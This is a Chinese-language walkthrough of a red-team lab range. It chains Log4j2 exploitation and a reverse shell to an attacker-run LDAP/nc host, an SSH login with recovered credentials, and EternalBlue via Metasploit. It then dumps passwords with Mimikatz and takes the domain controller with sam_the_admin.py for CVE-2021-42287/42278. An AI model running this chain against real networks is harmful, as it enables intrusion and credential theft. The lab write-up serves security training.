前言
本次靶场是 渗透攻击红队 出的第二个内网域渗透靶场,里面包含了最新出的漏洞:log4j2、CVE-2021-42287、CVE-2021-42278,下面是本次靶场的拓扑图:
信息搜集
拿到 IP
对它进行常规 TCP
端口扫描:
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.251
发现了开放了两个端口 22
、38080
:
是一台 Ubantu
,可疑的是这个 38080
端口,访问发现是一个Web页面:
于是尝试最近爆出的新漏洞 CVE-2021-44228
尝试看看能不能获取到 dnslog
:
发现存在 CVE-2021-44228
漏洞,得想办法拿到一个 Shell。
CVE-2021-44228 Attack
首先红队人员的 VPS Kali(192.168.0.175) 开启一个 LDAP:
然后红队人员的 VPS Kali(192.168.0.175)使用 nc 监听端口 9999:
最后使用 EXP 成功反弹 Shell :
发现当前拿到的 Shell 是一个 Docker 环境:
想办法逃逸发现均失败了,最后是在 /root/
目录下找到了 Flag 文件:
flag{redteam.lab-1}
Congratulations, you got this: saul Saul123
得到了一个类似于账号密码的东西,因为刚刚使用 Nmap 扫描出来了一个 SSH 服务,会不会这个就是账号密码呢?
内网初步信息搜集
尝试使用得到的账号密码登陆 SSH 发现登陆成功:
通过信息搜集发现当前机器是有两个网卡:
其中 ens33
是外网的网卡,ens38
(10.0.1.6)是内网网卡,猜测有内网!
PS:在实战的内网渗透中:如果是在 linux
环境下的内网渗透尽量形成全部 bash
和 python
化,因为 Linux
都完全自带,而在 windows
下的内网渗透则尽量全部形成 powershell
,bat
、vbs
化,尽量不要过于依赖外部工具。
所以我们用 for
循环 ping
一下 ens38
的 C
段:
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
发现内网还有一台主机存活:10.0.1.7
随后为了方便,我选择用 frp
把当前机器的流量代理出来:(过程省略)
然后使用 Metasploit 设置 Socks 对内网进行深度信息搜集;
使用 smb
版本探测模块对目标进行扫描:
use auxiliary/scanner/smb/smb_version
发现目标 10.0.1.7
版本是 Windows 7
,且存在域 REDTEAM
。
既然是 Win7
,那么是不是应该存在 MS17-010
呢?
MS17-010 Attack
随后尝试探测发现存在永恒之蓝:
由于目标是内网不一定出网,随后我使用正向 bind
直接打过去:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.0.1.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 10.0.1.7 no The target address
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
拿到 Win7 权限后加载 Mimikatz 先把密码抓出来:
Username Domain Password
-------- ------ --------
root REDTEAM Red12345
这个时候得到了一个域用户账号。
内网渗透之大杀器 - CVE-2021-42287、CVE-2021-42278
通过对当前内网进行信息搜集发现当前 Win7
机器还有一个内网网卡:
且定位到域控到域控 IP
为 10.0.0.12
:
由于最近爆出了两个域内核武器漏洞:CVE-2021-42287、CVE-2021-42278,尝试看看能不能直接利用。
具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman$,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman$。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
具体可以看我团队成员的公众号:红队攻防实验室 发布的文章,这里就不多赘述。
于是直接使用 MSF 添加了一个 Socks:
然后添加路由:
run autoroute -s 10.0.0.7/24
由于是 socks5 协议,我本地修改了配置文件然后直接利用脚本:
python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
最后也是拿到了最终的 Flag。
最终完成了本次靶场通关考核。